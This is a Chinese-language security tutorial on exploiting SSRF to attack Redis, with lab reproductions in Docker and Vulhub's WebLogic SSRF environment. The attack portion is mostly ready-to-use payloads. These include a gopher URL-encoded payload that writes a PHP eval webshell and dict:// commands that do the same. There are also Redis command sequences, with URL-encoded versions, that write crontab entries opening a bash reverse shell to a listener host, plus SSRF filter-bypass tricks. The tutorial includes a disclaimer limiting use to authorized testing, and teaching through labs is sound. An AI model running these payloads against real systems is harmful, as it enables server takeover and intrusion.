SSRF中Redis的利用

目录

1. SSRF

1.1 什么是SSRF

1.2 漏洞成因

1.3 可能会存在SSRF的地方

1.4 SSRF分类

1.5 验证方法

1.6 利用方式

1.7 可以利用的协议

1.8 SSRF过滤绕过

2. SSRF攻击Redis

2.1 环境搭建

2.2 漏洞复现(通过ssrf利用redis写入webshell)

2.2.1 想要写入webshell的两个条件

2.2.2 通过gopherus实现

0x00 Gopherus(gopher协议利用工具)

Gopherus简介

Gopherus可以生成的payload

命令

实际演示

2.2.3 通过Dict协议实现

Dict协议使用注意事项

实际演示

3. Weblogic SSRF漏洞(Redis利用)

3.1 环境搭建

3.1.1 Vulhub

3.1.2 运行环境

3.2 漏洞测试

3.2.1 内网扫描

3.2.2 通过redisGetshell

3.2.3 crontab可以写入的位置


本文由掌控安全学院 - Track-劲夫 投稿

1. SSRF

1.1 什么是SSRF

 SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(因为请求是由服务端帮我们发起的,所以我们可以通过它来向其所在的内网机器发起请求)。

1.2 漏洞成因

 SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造,SSRF利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。

1.3 可能会存在SSRF的地方

 
  1. > 转码服务

  2. > 在线翻译

  3. > 获取超链接的标题等内容进行显示

  4. > 请求远程服务器资源的地方,图片加载与下载(通过URL地址加载或下载图片)

  5. > 图片、文章收藏功能

  6. > 对外发起网络请求的地方,网站采集、网页抓取的地方。

  7. > 一切要你输入网址的地方和可以输入ip的地方。

  8. > 数据库内置功能(mongodb的copyDatabase函数)

  9. > 从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain

1.4 SSRF分类

 我觉得就分为回显和不回显两种方式,会回显请求的响应内容那么最好不过,如果不会回显的话,那么一般就只能通过响应时间来判断了

1.5 验证方法

 如果是会回显信息的SSRF漏洞,那么看他的响应结果就好了,如果是不会回显的,那么我们可以利用DNSLOG来进行判断

1.6 利用方式

  1. 对外网或服务器所在的内网或服务器自身发起端口扫描

  2. 攻击运行在内网或本地的应用程序

  3. 利用file协议读取本地文件

  4. ……..

1.7 可以利用的协议

  1. http/https,发起HTTP请求

  2. file,如果会回显数据的话,那么我们可以使用file协议读取目标本地文件

  3. dict,可以用来探测目标端口

  4. gopher,可以发送get/post请求

  5. ftp,文件传输协议

  6. …..

1.8 SSRF过滤绕过

  1. 0.0.0.0,这个IP地址可以直接访问到本地

  2. 把IP地址的格式进行转换从而绕过

 
  1. 通常我们用的是127.0.0.1,但事实上127这个段的地址都用来表示本机地址了,所以像127.155.155.155这样的也是可以的,还可以进行进制转换也是可以的

  2. > 8进制(把127转为八进制写的时候前面加个0):0177.0.0.1

  3. > 16进制(把127转为十六进制写的时候前面加个0x):0x7f.0.0.1

  4. > 16进制整数格式:0X7F000001

  5. > 10进制证书格式(把16整数转为10进制):2130706433

  6. 上面这些都是可以访问到的

  1. localhost

  2. 利用@绕过例如,www.baidu.com@127.0.0.1

  3. 利用非HTTP协议,例如上面说到的gopher或者dict

  4. 利用DNS解析(可以用DNSLOG)

  5. 利用IPv6

  6. 添加端口号

  7. [::]代替127.0.01,比如http://[::]:80,这样也是可以访问到的

2. SSRF攻击Redis

2.1 环境搭建

使用Docker进行环境的搭建,需要的文件我已经打包好了,如果没有docker环境的话需要安装(请使用linux系统)

  1. 使用tar xzvf ssrf.tar.gz解压ssrf.tar.gz,

  2. cd ssrf_dockerfile,进入到解压的文件目录下

  3. 构建镜像,docker build -t ssrf:v1 .

    图片

  4. Successfully built说明构建成功,也可以再使用docker images命令查看镜像是否存在

    图片

  5. docker run -d -p 80:80 ssrf:v1,启动镜像

    图片

  6. 启动成功,访问127.0.0.1查看是否搭建成功

    图片

  7. 漏洞点为ssrf.php,参数名为url,测试一下是否存在漏洞

    图片

环境搭建完毕

2.2 漏洞复现(通过ssrf利用redis写入webshell)

2.2.1 想要写入webshell的两个条件

  1. 要知道网站的绝对路径

  2. redis有目录的写入权限

2.2.2 通过gopherus实现

这里是通过gopher协议进行利用

0x00 Gopherus(gopher协议利用工具)
Gopherus简介

Gopherus下载地址

自己手动把攻击语句转换成Gopher协议的格式会很麻烦,这款工具里面内置了一些早就写好的利用语句,我们只需要学会如何使用它就可以很方便的写出一些我们需要的利用语句。

Gopherus可以生成的payload
  1. MySQL (Port-3306)

  2. PostgreSQL(Port-5432)

  3. FastCGI (Port-9000)

  4. Memcached (Port-11211)
    If stored data is getting De-serialized by:

    • Python

    • Ruby

    • PHP

  5. Redis (Port-6379)

  6. Zabbix (Port-10050)

  7. SMTP (Port-25)

命令
 
  1. gopherus --exploit [mysql | postgresql | fastcgi | redis | smtp | zabbix | pymemcache | rbmemcache | phpmemcache | dmpmemcache]

exploit后面写要利用的服务就好了

实际演示

这里将使用Gopherus这个工具生成利用语句,不了解的小伙伴可以先去看一下Gopherus那一段

  1. 再phpinfo页面中我们可以看到站点的绝对路径为/var/www/html

    图片

  2. 启动gopherus,python gopherus.py --exploit redis,shell写入方式选择phpshell

    图片

  3. 然后填入绝对路径,这里刚好是默认的,回车就好

    图片

  4. 然后填写要写入的内容,我这里写的一句话木马

    图片

  5. 生成好了,如果执行成功他会再目录下生成shell.php这个文件

    图片

  6. 现在这个语句还不能马上拿去用,需要做一下处理gopher://127.0.0.1:6379/_这部分不用变,后面的复制,再拿去进行一次url编码,然后拼接回gopher://127.0.0.1:6379/_后面,我处理好的如下

     
    1. gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_REQUEST%255B8%255D%2529%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

  7. 然后传参给url参数,回车

    图片

  8. shell写入成功

    图片

2.2.3 通过Dict协议实现

Dict协议使用注意事项
  1. Dict协议中可以用:代替空格

  2. ?会截断后面的内容(写马的情况下要想办法bypass “?”)

  3. dict协议一次只能发送一条数据

实际演示
  1. dict://127.0.0.1:6379/flushall,先清空所有的key

    图片

  2. dict://127.0.0.1:6379/set:hack:'<script language="php">@eval($_REQUEST[8]);</script>',写入一句话木马到key中,这里最好进行一次url编码

    图片

  3. dict://127.0.0.1:6379/config:set:dir:/var/www/html/,设置工作目录

    图片

  4. dict://127.0.0.1:6379/config set dbfilename hack.php,设置持久化文件名为hack.php,这里把去掉了:用了空格,注意两者没有差别

    图片

  5. dict://127.0.0.1:6379/save,保存生成持久化文件

    图片

  6. 成功

    图片

再可以回显的情况下,其实也可以查看redis中的数据

图片

3. Weblogic SSRF漏洞(Redis利用)

3.1 环境搭建

3.1.1 Vulhub

这里用的是Vulhub中的环境来复现的,所以就简单说一下

简单来说Vulhub是一个漏洞复现的测试靶场它里面内置了许多的漏洞环境,并且提供了复现文档,如下图
 

图片


Vulhub下载地址
文档地址
怎么搭建和使用它也有帮助文档,百度上面也有很多相关的教程,这里就不多说了
这里要用的是它的weblogic SSRF漏洞的这个环境

图片

3.1.2 运行环境

  1. 进到vulhub中的/weblogic/ssrf/目录下

    图片

  2. 执行如下命令启动环境,docker-compose up -d,如果报错没有docker-compose这个命令的话,百度一下怎么安装

    图片

  3. 执行docker ps命令查看环境是否已经运行了,这里是已经运行起来了

    图片

  4. 环境搭建完毕,开干!!!

    图片

3.2 漏洞测试

3.2.1 内网扫描

这个漏洞点的位置在

 
  1. http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

点击search抓包,可以看到operator的参数值是一个链接

图片

那我们测试这里是否存在ssrf,把地址改成http://127.0.0.1:7001之后它的显示是这样的

图片

然后我们随便改成其他端口,可以发现保存的内容是不一样的,那么我们可以由此来判断端口是否存在

图片

把包发送到Intruder模块,进行端口枚举

图片

这里就设置1~10000的范围

图片

没有他探测到有其他端口开放

图片

尝试对内网进行扫描,我这里的docker环境内网地址应该是172.18这个段的,所以我就跑这个段了,设置好范围

图片

我这里用的是自定义迭代器的payload类型,第一个填172,分隔符为.

图片

第二个填18,分隔符为.

图片

第三个填0~255,分隔符为.

图片

第四个填0~255,注意没有分隔符

图片

开冲,可以看到如果地址不存在是返回No route to host

图片

而这个存在的显示内容如下,那么对他进行端口扫描

图片

检测到6379端口开放,这个的redis的默认端口,下面尝试是否可以进行利用

图片

3.2.2 通过redisGetshell

Weblogic的SSRF有一个比较大的特点,就是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

这里我们利用crontab计划任务反弹shell,先用nc开启监听nc -lvp 9999

图片

然后编写redis名命令,命令中的IP地址和端口号记得改成自己的

 
  1. aaa

  2. set 1 "\n* * * * * bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n"

  3. config set dir /var/spool/cron

  4. config set dbfilename root

  5. save

  6. aaa

然后进行url编码,注意换行用%0d%0a替换

 
  1. http://172.18.0.2:6379/aaa%0D%0A%0D%0Aset%201%20%22%5Cn*%20*%20*%20*%20*%20%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.129%2F9999%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A%0D%0Aaaa

好了之后直接拼接到url后面然后Send

图片

成功获得shell

图片

注意点

  1. 计划任务可能会等一会才会执行,shell不会立马反弹,等个一分钟左右

  2. 一定要docker容器和主机可以通信,我因为nc的机器没关防火墙明明成功了,但是弹不回shell

3.2.3 crontab可以写入的位置

  1. /ect/crontab

 
  1. TEST

  2. set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n\n\n\n"

  3. config set dir /etc/

  4. config set dbfilename crontab

  5. save

  6. BBB

 
  1. TEST%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.129%2F9999%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0ABBB

  1. /etc/cron.d/*

 
  1. TEST

  2. set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n\n\n\n"

  3. config set dir /etc/cron.d

  4. config set dbfilename shell

  5. save

  6. BBB

 
  1. TEST%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.129%2F9999%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2Fcron.d%0D%0Aconfig%20set%20dbfilename%20shell%0D%0Asave%0D%0A%0D%0ABBB

  1. /var/spool/cron/root,复现过程中用的就是这个

  2. var/spool/cron/crontabs/root,debian系统下root用户的cron文件

申明:本文所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/580015.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【unity学习笔记】4.场景切换

创建空物体→创建脚本挂载在空物体上→打开脚本 1.创建所需要的场景 assets中点击创建场景 2.文件→生成设置 3.将需要的场景拖入 4.场景跳转 创建空对象&#xff0c;将脚本放在空对象上。 注意两个类&#xff1a;场景类、场景管理类 void Start(){//场景跳转SceneManager.Lo…

labelme目标检测数据类型转换

1. labelme数据类型 LabelMe是一个开源的在线图像标注工具&#xff0c;旨在帮助用户创建和标记图像数据集。它提供了一个用户友好的界面&#xff0c;让用户可以直观地在图像上绘制标记框、多边形、线条等&#xff0c;以标识和注释图像中的对象或区域。 GitHub&#xff1a;http…

智能监控平台/视频共享融合系统EasyCVR海康设备国标GB28181接入流程

TSINGSEE青犀视频监控汇聚平台EasyCVR可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安防视频监控的能力&…

C# 使用Pipelines处理Socket数据包

写在前面 在上一篇中对Pipelines进行简单的了解&#xff0c;同时也留下了未解的问题&#xff0c;如何将Pipelines类库运用到Socket通讯过程中来解决粘包和分包。链接地址如下&#xff1a; 初识System.IO.Pipelines https://rjcql.blog.csdn.net/article/details/135211047 这…

Hive安装笔记——备赛笔记——2024全国职业院校技能大赛“大数据应用开发”赛项——任务2:离线数据处理

将下发的ds_db01.sql数据库文件放置mysql中 12、编写Scala代码&#xff0c;使用Spark将MySQL的ds_db01库中表user_info的全量数据抽取到Hive的ods库中表user_info。字段名称、类型不变&#xff0c;同时添加静态分区&#xff0c;分区字段为etl_date&#xff0c;类型为String&am…

前端开发之通过vue-office组件实现文件预览

前端开发之通过vue-office组件实现文件预览 前言效果图docx文件xlsx文件pdf文件 vue中简单案例1、安装组件2、vue中代码 前言 在实现文件预览的时候我们可以通过vue-office组件来实现文件的预览效果 效果图 docx文件 xlsx文件 pdf文件 vue中简单案例 1、安装组件 整体安装…

RabbitMQ入门指南(九):消费者可靠性

专栏导航 RabbitMQ入门指南 从零开始了解大数据 目录 专栏导航 前言 一、消费者确认机制 二、失败重试机制 三、失败处理策略 四、业务幂等性 1.通过唯一标识符保证操作的幂等性 2.通过业务判断保证操作的幂等性 总结 前言 RabbitMQ是一个高效、可靠的开源消息队列系…

词表示:语言与计算的桥梁

目录 前言1 什么是词表示2 独热表示3 上下文表示4 分布式表示结语 前言 在自然语言处理领域&#xff0c;词语的表示是一个基本挑战。将词语转换为计算机可以理解的符号&#xff0c;衡量词语之间的相似度&#xff0c;捕捉它们之间复杂的关系&#xff0c;是使机器能够理解和处理…

Bluetooth Mesh 入门学习干货,参考Nordic资料(更新中)

蓝牙网状网络&#xff08;Bluetooth mesh&#xff09;概念 概述 蓝牙Mesh Profile | Bluetooth Technology Website规范&#xff08;Mesh v1.1 后改名Mesh ProtocolMesh Protocol | Bluetooth Technology WebsiteMesh Protocol&#xff09;是由蓝牙技术联盟(Bluetooth SIG)开…

EasyExcel实现动态表头(注解实现)

要实现上述动态头&#xff0c;按每日统计&#xff0c;每月统计&#xff0c;每年统计。而时间是一直变化&#xff0c;所以我们需要表头也一直动态生成。 首先&#xff0c;我们需要定义所需要实体类 public class CountDayData {ExcelProperty(value "业务员姓名")p…

css 设置字体渐变色和阴影

一、需求 我们平时写样式的时候可能遇到需要将字体设置成渐变色&#xff0c;这样能使界面整体美化提升&#xff0c;那么css怎么去实现这个功能呢&#xff1f;下面我介绍一种常用的方法&#xff0c;欢迎大家补充 二、渐变实现 先看效果图&#xff1a; 直接上代码&#xff1a; /…

Seem环境安装

创建虚拟环境 conda create -n seem python3.8 conda activate seem 安装相关依赖&#xff1a;&#xff08;不按照的话会报错&#xff09; sudo apt-get install openmpi-bin libopenmpi-devconda install gcc_linux-64pip install mpi4py 导入环境 export PYTHONPATH$(pwd…

开发效率之把握需求、减少返工

前言 当年初入软件开发行业的我&#xff0c;拿到需求就莽&#xff0c;要设计没设计&#xff0c;要分析没分析&#xff0c;结果就是没理清楚需求&#xff0c;致使频频返工。 需求没理解对&#xff0c;做得再多再好也白搭。 估算需求把握程度 假如每个IF分支的“是”加一分&…

2024 年全球顶级的 3 款 桌面 PDF 转换工具

桌面 PDF 转换器工具是一种软件应用程序&#xff0c;使用户能够将 PDF 文件与不同的文件格式相互转换。奇客PDF转换、Nitro Pro 和 Foxit PhantomPDF 是市场上最好的桌面 PDF 转换工具。 在选择最好的 PDF 转换器软件时&#xff0c;需要考虑的一个重要因素是它与其他软件的集成…

nvm 的安装及使用 (Node版本管理器)

目录 1、nvm 介绍 2、nvm安装 3、nvm 使用 4、node官网可以查看node和npm对应版本 5、nvm安装指定版本node 6、安装cli脚手架 1、nvm 介绍 NVM 全称 node.js version management &#xff0c;专门针对 node 版本进行管理的工具&#xff0c;通过它可以安装和切换不同版本的…

数据链路层解读

基本介绍 概述 数据链路层使用的信道主要有两种类型 点对点信道。使用一对一的点对点通信方式的信道。广播信道。使用一对多的广播通信方式的信道。由于广播信道上连接的主机很多&#xff0c;必须使用专用的共享信道协议来协调这些主机的数据发送&#xff0c;因此通信过程比较…

【Windows】共享文件夹拍照还原防火墙设置(入站,出站设置)---图文并茂详细讲解

目录 一 共享文件夹(两种形式) 1.1 普通共享与高级共享区别 1.2 使用 二 拍照还原 2.1 是什么 2.2 使用 三 防火墙设置&#xff08;入栈&#xff0c;出站设置&#xff09; 3.1 引入 3.2 入站出站设置 3.2.1入站出站含义 3.3入站设置 3.4安装jdk 3.5使用tomcat进行访…

sql_lab之sqli中的堆叠型注入(less-38)

堆叠注入&#xff08;less-38&#xff09; 1.判断注入类型 http://127.0.0.3/less-38/?id1 and 12 -- s 没有回显 http://127.0.0.3/less-38/?id1 and 11 -- s 有回显 则说明是单字节’注入 2.查询字段数 http://127.0.0.3/less-38/?id1 order by 4 -- s 报错 http:/…

智能优化算法应用:基于人工兔算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于人工兔算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于人工兔算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.人工兔算法4.实验参数设定5.算法结果6.参考文…

取证工具volatility插件版学习记录

更新时间&#xff1a;2023年12月18日11:48:29 1. 背景描述 在以前学习过volatility的基础功能&#xff0c;主要是使用volatility独立版进行学习的&#xff0c;前几天遇到一个ctf赛事&#xff0c;需要用到的是volatility的mimikatz模块&#xff0c;因为以前没使用过那个模块&…